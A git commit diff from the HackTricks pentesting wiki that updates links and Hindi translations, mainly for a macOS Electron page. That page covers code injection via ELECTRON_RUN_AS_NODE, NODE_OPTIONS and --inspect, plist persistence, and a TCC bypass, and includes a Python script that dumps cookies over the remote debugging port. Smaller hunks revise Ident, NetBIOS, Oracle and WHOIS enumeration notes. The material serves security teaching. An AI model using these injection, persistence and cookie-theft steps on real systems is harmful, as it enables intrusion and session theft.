Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:55:46 +00:00
parent e374ca7725
commit 2bc4fe562c
37 changed files with 634 additions and 632 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access

View File

@ -4,8 +4,8 @@
## Basic Information
यदि आप नहीं जानते कि Electron क्या है, तो आप [**यहां बहुत सारी जानकारी पा सकते हैं**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)। लेकिन अभी के लिए बस इतना जान लें कि Electron **node** चलाता है।\
और node के पास कुछ **parameters** और **env variables** हैं जिन्हें **अन्य कोड निष्पादित करने** के लिए उपयोग किया जा सकता है, जो निर्दिष्ट फ़ाइल के अलावा हैं।
यदि आप नहीं जानते कि Electron क्या है, तो आप [**यहां बहुत सारी जानकारी पा सकते हैं**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation)। लेकिन अभी के लिए बस इतना जान लें कि Electron **node** चलाता है।\
और node के कुछ **parameters** और **env variables** हैं जिन्हें **अन्य कोड निष्पादित करने** के लिए उपयोग किया जा सकता है, जो निर्दिष्ट फ़ाइल के अलावा हैं।
### Electron Fuses
@ -13,8 +13,8 @@
- **`RunAsNode`**: यदि अक्षम किया गया, तो यह कोड इंजेक्ट करने के लिए env var **`ELECTRON_RUN_AS_NODE`** के उपयोग को रोकता है।
- **`EnableNodeCliInspectArguments`**: यदि अक्षम किया गया, तो `--inspect`, `--inspect-brk` जैसे params का सम्मान नहीं किया जाएगा। इस तरह कोड इंजेक्ट करने से बचना।
- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को इस फ़ाइल की सामग्री को संशोधित करके रोकना
- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने की खोज करने के बजाय: **`app.asar`**, **`app`** और अंततः **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **मान्य कोड लोड करना** **असंभव** है।
- **`EnableEmbeddedAsarIntegrityValidation`**: यदि सक्षम किया गया, तो लोड किया गया **`asar`** **file** macOS द्वारा **मान्य** किया जाएगा। इस तरह **कोड इंजेक्शन** को रोकना इस फ़ाइल की सामग्री को संशोधित करके।
- **`OnlyLoadAppFromAsar`**: यदि यह सक्षम है, तो यह निम्नलिखित क्रम में लोड करने के लिए खोजने के बजाय: **`app.asar`**, **`app`** और अंत में **`default_app.asar`**। यह केवल app.asar की जांच करेगा और इसका उपयोग करेगा, इस प्रकार यह सुनिश्चित करेगा कि जब **`embeddedAsarIntegrityValidation`** फ्यूज़ के साथ **संयुक्त** किया जाता है, तो **गैर-मान्य कोड लोड करना** **असंभव** है।
- **`LoadBrowserProcessSpecificV8Snapshot`**: यदि सक्षम किया गया, तो ब्राउज़र प्रक्रिया अपने V8 स्नैपशॉट के लिए `browser_v8_context_snapshot.bin` नामक फ़ाइल का उपयोग करती है।
एक और दिलचस्प फ्यूज़ जो कोड इंजेक्शन को रोकने वाला नहीं है:
@ -37,16 +37,16 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Electron फ्यूज़ को संशोधित करना
### Modifying Electron Fuses
जैसा कि [**दस्तावेज़ में उल्लेख किया गया है**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** की कॉन्फ़िगरेशन **Electron बाइनरी** के अंदर कॉन्फ़िगर की जाती है जिसमें कहीं **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** स्ट्रिंग होती है।
जैसा कि [**docs में उल्लेख किया गया है**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Fuses** की कॉन्फ़िगरेशन **Electron binary** के अंदर कॉन्फ़िगर की जाती है जिसमें कहीं **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** स्ट्रिंग होती है।
macOS अनुप्रयोगों में यह आमतौर पर `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` में होता है।
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में एक संख्या "0" या "1" देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1`) को **फ्यूज़ मानों को संशोधित करने** के लिए संशोधित करें।
आप इस फ़ाइल को [https://hexed.it/](https://hexed.it/) में लोड कर सकते हैं और पिछले स्ट्रिंग के लिए खोज कर सकते हैं। इस स्ट्रिंग के बाद आप ASCII में "0" या "1" संख्या देख सकते हैं जो यह दर्शाती है कि प्रत्येक फ्यूज़ अक्षम या सक्षम है। बस हेक्स कोड (`0x30` का अर्थ `0` है और `0x31` का अर्थ `1` है) को **फ्यूज़ मानों को संशोधित** करने के लिए बदलें।
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
@ -54,7 +54,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
## RCE कोड को Electron एप्लिकेशनों में जोड़ना
ऐसा हो सकता है कि **बाहरी JS/HTML फ़ाइलें** हों जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
ऐस **बाहरी JS/HTML फ़ाइलें** हो सकती हैं जिनका उपयोग एक Electron ऐप कर रहा है, इसलिए एक हमलावर इन फ़ाइलों में कोड इंजेक्ट कर सकता है जिनका हस्ताक्षर नहीं चेक किया जाएगा और ऐप के संदर्भ में मनमाना कोड निष्पादित कर सकता है।
> [!CAUTION]
> हालाँकि, वर्तमान में 2 सीमाएँ हैं:
@ -62,11 +62,11 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> - एक ऐप को संशोधित करने के लिए **`kTCCServiceSystemPolicyAppBundles`** अनुमति **आवश्यक** है, इसलिए डिफ़ॉल्ट रूप से यह अब संभव नहीं है।
> - संकलित **`asap`** फ़ाइल में आमतौर पर फ्यूज़ **`embeddedAsarIntegrityValidation`** `और` **`onlyLoadAppFromAsar`** `सक्षम` होते हैं
>
> इस हमले के रास्ते को अधिक जटिल (या असंभव) बना रहा है।
> जिससे इस हमले के रास्ते को और अधिक जटिल (या असंभव) बना दिया गया है।
ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को दरकिनार करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर **`app.app/Contents`** का नाम बदलकर **`app.app/NotCon`** करना, अपने **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करना, इसे फिर से **`app.app/Contents`** नाम देना और इसे निष्पादित करना
ध्यान दें कि **`kTCCServiceSystemPolicyAppBundles`** की आवश्यकता को बायपास करना संभव है, एप्लिकेशन को किसी अन्य निर्देशिका (जैसे **`/tmp`**) में कॉपी करके, फ़ोल्डर का नाम **`app.app/Contents`** से **`app.app/NotCon`** में बदलकर, **आपके** **दुष्ट** कोड के साथ **asar** फ़ाइल को **संशोधित** करके, इसे फिर से **`app.app/Contents`** नाम देकर और इसे निष्पादित करके
आप asar फ़ाइल से कोड को निकालने के लिए:
आप asar फ़ाइल से कोड को अनपैक कर सकते हैं:
```bash
npx asar extract app.asar app-decomp
```
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
[**दस्तावेज़ों**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) के अनुसार, यदि यह env वेरिएबल सेट किया गया है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node), यदि यह env वेरिएबल सेट है, तो यह प्रक्रिया को एक सामान्य Node.js प्रक्रिया के रूप में शुरू करेगा।
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
@ -84,9 +84,9 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> यदि फ्यूज़ **`RunAsNode`** बंद है तो env var **`ELECTRON_RUN_AS_NODE`** को नजरअंदाज किया जाएगा, और यह काम नहीं करेगा।
> यदि फ्यूज़ **`RunAsNode`** अक्षम है, तो env var **`ELECTRON_RUN_AS_NODE`** को अनदेखा किया जाएगा, और यह काम नहीं करेगा।
### ऐप plist से इंजेक्शन
### ऐप प्लिस्ट से इंजेक्शन
जैसा कि [**यहां प्रस्तावित है**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए कर सकते हैं:
```xml
@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
> [!CAUTION]
> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप लॉन्च करते समय env var **NODE_OPTIONS** को **अनदेखा** करेगा जब तक कि env वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न किया गया हो, जिसे फ्यूज़ **`RunAsNode`** के अक्षम होने पर भी **अनदेखा** किया जाएगा
> यदि फ्यूज़ **`EnableNodeOptionsEnvironmentVariable`** **अक्षम** है, तो ऐप **NODE_OPTIONS** पर्यावरण चर को **अनदेखा** करेगा जब इसे लॉन्च किया जाएगा जब तक कि पर्यावरण चर **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** अक्षम है
>
> यदि आप **`ELECTRON_RUN_AS_NODE`** सेट नहीं करते हैं, तो आपको **त्रुटि** मिलेगी: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
### ऐप plist से इंजेक्शन
आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए plist में इस env वेरिएबल का दुरुपयोग कर सकते हैं:
आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए plist में इस पर्यावरण चर का दुरुपयोग कर सकते हैं:
```xml
<dict>
<key>EnvironmentVariables</key>
@ -145,23 +145,21 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
<true/>
</dict>
```
## RCE के साथ निरीक्षण
## RCE with inspecting
के अनुसार [**यह**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यदि आप **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** जैसे फ्लैग के साथ एक Electron एप्लिकेशन चलाते हैं, तो एक **डिबग पोर्ट खुला होगा** ताकि आप इससे कनेक्ट कर सकें (उदाहरण के लिए Chrome में `chrome://inspect`) और आप **इस पर कोड इंजेक्ट कर सकेंगे** या यहां तक कि नए प्रोसेस भी लॉन्च कर सकेंगे।\
उदाहरण के लिए:
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), यदि आप **`--inspect`**, **`--inspect-brk`** और **`--remote-debugging-port`** जैसे फ्लैग के साथ एक Electron एप्लिकेशन चलाते हैं, तो एक **debug port खुल जाएगा** ताकि आप इससे कनेक्ट कर सकें (उदाहरण के लिए Chrome में `chrome://inspect`) और आप इसमें **कोड इंजेक्ट** कर सकेंगे या यहां तक कि नए प्रोसेस भी लॉन्च कर सकेंगे।\
For example:
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
> [!CAUTION]
> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि env वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे भी **अनदेखा** किया जाएगा यदि फ्यूज़ **`RunAsNode`** बंद ह
> यदि फ्यूज़ **`EnableNodeCliInspectArguments`** बंद है, तो ऐप **नोड पैरामीटर** (जैसे `--inspect`) को लॉन्च करते समय **अनदेखा** करेगा जब तक कि एन्वायरनमेंट वेरिएबल **`ELECTRON_RUN_AS_NODE`** सेट न हो, जिसे फ्यूज़ **`RunAsNode`** बंद होने पर भी **अनदेखा** किया जाएगा
>
> हालाँकि, आप अभी भी **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग कर सकते हैं लेकिन पिछले पेलोड अन्य प्रक्रियाओं को निष्पादित करने के लिए काम नहीं करेगा
> हालाँकि, आप **इलेक्ट्रॉन पैरामीटर `--remote-debugging-port=9229`** का उपयोग करके कुछ जानकारी चुरा सकते हैं जैसे कि **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)
पैरामीटर **`--remote-debugging-port=9222`** का उपयोग करके इलेक्ट्रॉन ऐप से कुछ जानकारी चुराना संभव है जैसे **इतिहास** (GET कमांड के साथ) या ब्राउज़र के **कुकीज़** (क्योंकि वे ब्राउज़र के अंदर **डिक्रिप्ट** होते हैं और एक **json एंडपॉइंट** है जो उन्हें देगा)।
आप यह सीख सकते हैं [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
आप यह सीख सकते हैं कि ऐसा कैसे करना है [**यहाँ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) और [**यहाँ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) और स्वचालित उपकरण [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) या एक साधारण स्क्रिप्ट का उपयोग करें जैसे:
```python
import websocket
ws = websocket.WebSocket()
@ -169,11 +167,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
इस [**ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695) में, इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड** कर सके।
In [**इस ब्लॉगपोस्ट**](https://hackerone.com/reports/1274695), इस डिबगिंग का दुरुपयोग किया जाता है ताकि एक हेडलेस क्रोम **मनमाने स्थानों में मनमाने फ़ाइलें डाउनलोड कर सके**
### ऐप प्लिस्ट से इंजेक्शन
आप इन कुंजियों को जोड़कर स्थिरता बनाए रखने के लिए एक plist में इस env वेरिएबल का दुरुपयोग कर सकते हैं:
आप इस env वेरिएबल का दुरुपयोग एक plist में स्थिरता बनाए रखने के लिए इन कुंजियों को जोड़कर कर सकते हैं:
```xml
<dict>
<key>ProgramArguments</key>
@ -190,11 +188,11 @@ print(ws.recv()
## TCC Bypass पुराने संस्करणों का दुरुपयोग
> [!TIP]
> macOS का TCC डेमन निष्पादित एप्लिकेशन के संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
> macOS का TCC डेमन एप्लिकेशन के निष्पादित संस्करण की जांच नहीं करता है। इसलिए यदि आप **Electron एप्लिकेशन में कोड इंजेक्ट नहीं कर सकते** किसी भी पिछले तकनीकों के साथ, तो आप APP का एक पिछला संस्करण डाउनलोड कर सकते हैं और उस पर कोड इंजेक्ट कर सकते हैं क्योंकि इसे अभी भी TCC विशेषाधिकार मिलेंगे (जब तक कि Trust Cache इसे रोक न दे)।
## गैर-JS कोड चलाना
पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **अपने TCC अनुमतियों को विरासत में लेती हैं**।\
पिछली तकनीकें आपको **Electron एप्लिकेशन की प्रक्रिया के अंदर JS कोड चलाने** की अनुमति देंगी। हालाँकि, याद रखें कि **बच्चे की प्रक्रियाएँ माता-पिता एप्लिकेशन के समान सैंडबॉक्स प्रोफ़ाइल के तहत चलती हैं** और **उनकी TCC अनुमतियाँ विरासत में लेती हैं**।\
इसलिए, यदि आप कैमरा या माइक्रोफ़ोन तक पहुँचने के लिए विशेषाधिकारों का दुरुपयोग करना चाहते हैं, तो आप बस **प्रक्रिया से एक और बाइनरी चला सकते हैं**
## स्वचालित इंजेक्शन

View File

@ -62,11 +62,11 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
- `oident`
## फ़ाइलें
## Files
identd.conf
## HackTricks स्वचालित आदेश
## HackTricks Automatic Commands
```
Protocol_Name: Ident #Protocol Abbreviation if there is one.
Port_Number: 113 #Comma separated if there is more than one.
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2:
Name: Enum Users

View File

@ -14,7 +14,7 @@
### Name Service
किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इसका एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service server** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
किसी डिवाइस को NetBIOS नेटवर्क में भाग लेने के लिए, इस एक अद्वितीय नाम होना चाहिए। यह एक **ब्रॉडकास्ट प्रक्रिया** के माध्यम से प्राप्त किया जाता है जहाँ एक "Name Query" पैकेट भेजा जाता है। यदि कोई आपत्ति नहीं मिलती है, तो नाम उपलब्ध माना जाता है। वैकल्पिक रूप से, नाम उपलब्धता की जांच करने या किसी नाम को IP पते में हल करने के लिए सीधे **Name Service सर्वर** से पूछताछ की जा सकती है। `nmblookup`, `nbtscan`, और `nmap` जैसे उपकरणों का उपयोग NetBIOS सेवाओं की सूची बनाने के लिए किया जाता है, जो सर्वर नाम और MAC पते को प्रकट करते हैं।
```bash
PORT STATE SERVICE VERSION
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
@ -25,9 +25,9 @@ nmblookup -A <IP>
nbtscan <IP>/30
sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
```
### Datagram वितरण सेवा
### Datagram Distribution Service
NetBIOS datagrams बिना कनेक्शन के संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
NetBIOS datagrams कनेक्शन रहित संचार की अनुमति देते हैं UDP के माध्यम से, सीधे संदेश भेजने या सभी नेटवर्क नामों को प्रसारित करने का समर्थन करते हैं। यह सेवा पोर्ट **138/udp** का उपयोग करती है।
```bash
PORT STATE SERVICE VERSION
138/udp open|filtered netbios-dgm
@ -38,7 +38,7 @@ PORT STATE SERVICE VERSION
एक सत्र के भीतर डेटा संचरण में **Session Message packets** शामिल होते हैं, और सत्रों को TCP कनेक्शन बंद करके समाप्त किया जाता है।
ये सेवाएँ **NetBIOS** कार्यक्षमता के लिए अनिवार्य हैं, जो नेटवर्क के पार कुशल संचार और संसाधन साझा करने को सक्षम बनाती हैं। TCP और IP प्रोटोकॉल के बारे में अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पृष्ठों पर जाएँ
ये सेवाएँ **NetBIOS** कार्यक्षमता के लिए अनिवार्य हैं, जो नेटवर्क के पार कुशल संचार और संसाधन साझा करने को सक्षम बनाती हैं। TCP और IP प्रोटोकॉल के बारे में अधिक जानकारी के लिए, उनके संबंधित [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) और [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) पृष्ठों को देखें
```bash
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2:
Name: Find Names

View File

@ -4,7 +4,7 @@
## Basic Information
Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
जब Oracle की गणना की जाती है, तो पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 15221529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@ -15,7 +15,7 @@ Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेट
1. **संस्करण गणना**: ज्ञात कमजोरियों की खोज के लिए संस्करण जानकारी की पहचान करें।
2. **TNS लिस्नर ब्रूटफोर्स**: कभी-कभी संचार स्थापित करने के लिए आवश्यक होता है।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) खोजें।
3. **SID नाम गणना/ब्रूटफोर्स**: डेटाबेस नाम (SID) का पता लगाएं।
4. **क्रेडेंशियल ब्रूटफोर्स**: खोजे गए SID तक पहुँचने का प्रयास करें।
5. **कोड निष्पादन**: सिस्टम पर कोड चलाने का प्रयास करें।
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Basic Information
Oracle डेटाबेस (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation से है (from [here](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle database (Oracle DB) एक रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है जो Oracle Corporation द्वारा विकसित की गई है (यहां से [यहां](https://www.techopedia.com/definition/8711/oracle-database))।
Oracle की जानकारी प्राप्त करते समय पहला कदम TNS-Listener से बात करना है जो आमतौर पर डिफ़ॉल्ट पोर्ट (1521/TCP, -आपको 15221529 पर भी द्वितीयक लिस्नर्स मिल सकते हैं-) पर स्थित होता है।
```
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Basic Information
**WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, IP पते के ब्लॉक, और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल एक व्यापक स्पेक्ट्रम की जानकारी तक पहुँचने में भी उपयोग किया जाता है।
The **WHOIS** प्रोटोकॉल विभिन्न इंटरनेट संसाधनों के रजिस्ट्रेंट्स या धारकों के बारे में पूछताछ करने के लिए एक मानक विधि के रूप में कार्य करता है, जो विशिष्ट डेटाबेस के माध्यम से होता है। ये संसाधन डोमेन नाम, आईपी पते के ब्लॉकों और स्वायत्त प्रणालियों सहित हैं। इसके अलावा, प्रोटोकॉल एक व्यापक स्पेक्ट्रम की जानकारी तक पहुँचने में भी उपयोग किया जाता है।
**डिफ़ॉल्ट पोर्ट:** 43
```
@ -13,7 +13,7 @@ PORT STATE SERVICE
```
## Enumerate
एक डोमेन के बारे में जो जानकारी एक whois सेवा के पास है, उसे प्राप्त करें:
Get all the information that a whois service has about a domain:
```bash
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -2,14 +2,14 @@
{{#include ../banners/hacktricks-training.md}}
## मूल जानकारी
## Basic Information
यह पोर्ट **Redshift** द्वारा चलाने के लिए उपयोग किया जाता है। यह मूल रूप से **PostgreSQL** का एक AWS संस्करण है।
अधिक जानकारी के लिए देखें:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## WinRM
